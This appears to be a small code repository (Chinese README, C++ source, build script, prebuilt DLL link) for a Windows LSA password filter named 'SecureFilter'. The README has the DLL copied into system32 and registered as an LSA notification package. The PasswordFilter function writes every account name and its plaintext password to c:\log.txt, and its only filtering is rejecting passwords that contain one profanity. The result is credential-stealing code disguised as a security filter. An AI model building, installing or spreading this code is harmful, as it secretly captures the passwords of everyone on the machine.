├── README.md ├── SecureFilter.cpp ├── build.cmd └── release └── x64 └── SecureFilter.dll /README.md: -------------------------------------------------------------------------------- 1 | ## PasswordFilter Example 2 | 3 | ## 编译 4 | 5 | 打开 VS 64 位编译环境,执行 6 | 7 | ``` 8 | build.cmd 9 | ``` 10 | 11 | ## 安装 12 | 13 | 1. 复制到 `%system32%` 目录 14 | 2. 修改 LSA Notification Package,添加 `SecureFilter` 字样 15 | 16 | -------------------------------------------------------------------------------- /SecureFilter.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include 3 | #include 4 | #include 5 | 6 | WCHAR buffer[1024]; 7 | 8 | BOOL __stdcall APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) 9 | { 10 | 11 | switch (ul_reason_for_call) 12 | { 13 | case DLL_PROCESS_ATTACH: 14 | case DLL_THREAD_ATTACH: 15 | case DLL_THREAD_DETACH: 16 | case DLL_PROCESS_DETACH: 17 | break; 18 | } 19 | return TRUE; 20 | } 21 | 22 | extern "C" __declspec(dllexport) BOOLEAN __stdcall InitializeChangeNotify(void) 23 | { 24 | return TRUE; 25 | } 26 | 27 | extern "C" __declspec(dllexport) int __stdcall 28 | PasswordChangeNotify(PUNICODE_STRING *UserName, 29 | ULONG RelativeId, 30 | PUNICODE_STRING *NewPassword) 31 | { 32 | return FALSE; 33 | } 34 | 35 | extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordFilter(PUNICODE_STRING AccountName, 36 | PUNICODE_STRING FullName, 37 | PUNICODE_STRING Password, 38 | BOOLEAN SetOperation) 39 | { 40 | DWORD dwBytesWritten = 0; 41 | HANDLE hFile = CreateFile(L"c:\\log.txt", FILE_APPEND_DATA, 0, NULL, 42 | OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 43 | 44 | if (hFile != INVALID_HANDLE_VALUE) 45 | { 46 | memset(buffer, 0, sizeof(buffer)); 47 | int len = swprintf(buffer, L"%wZ :: %wZ\r\n", AccountName, Password) * sizeof(WCHAR); 48 | 49 | WriteFile(hFile, buffer, len, &dwBytesWritten, NULL); 50 | CloseHandle(hFile); 51 | } 52 | 53 | if (wcsstr(Password->Buffer, L"fuck") != NULL) 54 | { 55 | return 0; 56 | } 57 | 58 | return 1; 59 | } 60 | 61 | 62 | -------------------------------------------------------------------------------- /build.cmd: -------------------------------------------------------------------------------- 1 | @echo off 2 | cl /DUNICODE /DLL SecureFilter.cpp /LD 3 | 4 | -------------------------------------------------------------------------------- /release/x64/SecureFilter.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CaledoniaProject/PasswordFilter/70cb3c7fc57ae882d18dffae9f85310ce2669331/release/x64/SecureFilter.dll --------------------------------------------------------------------------------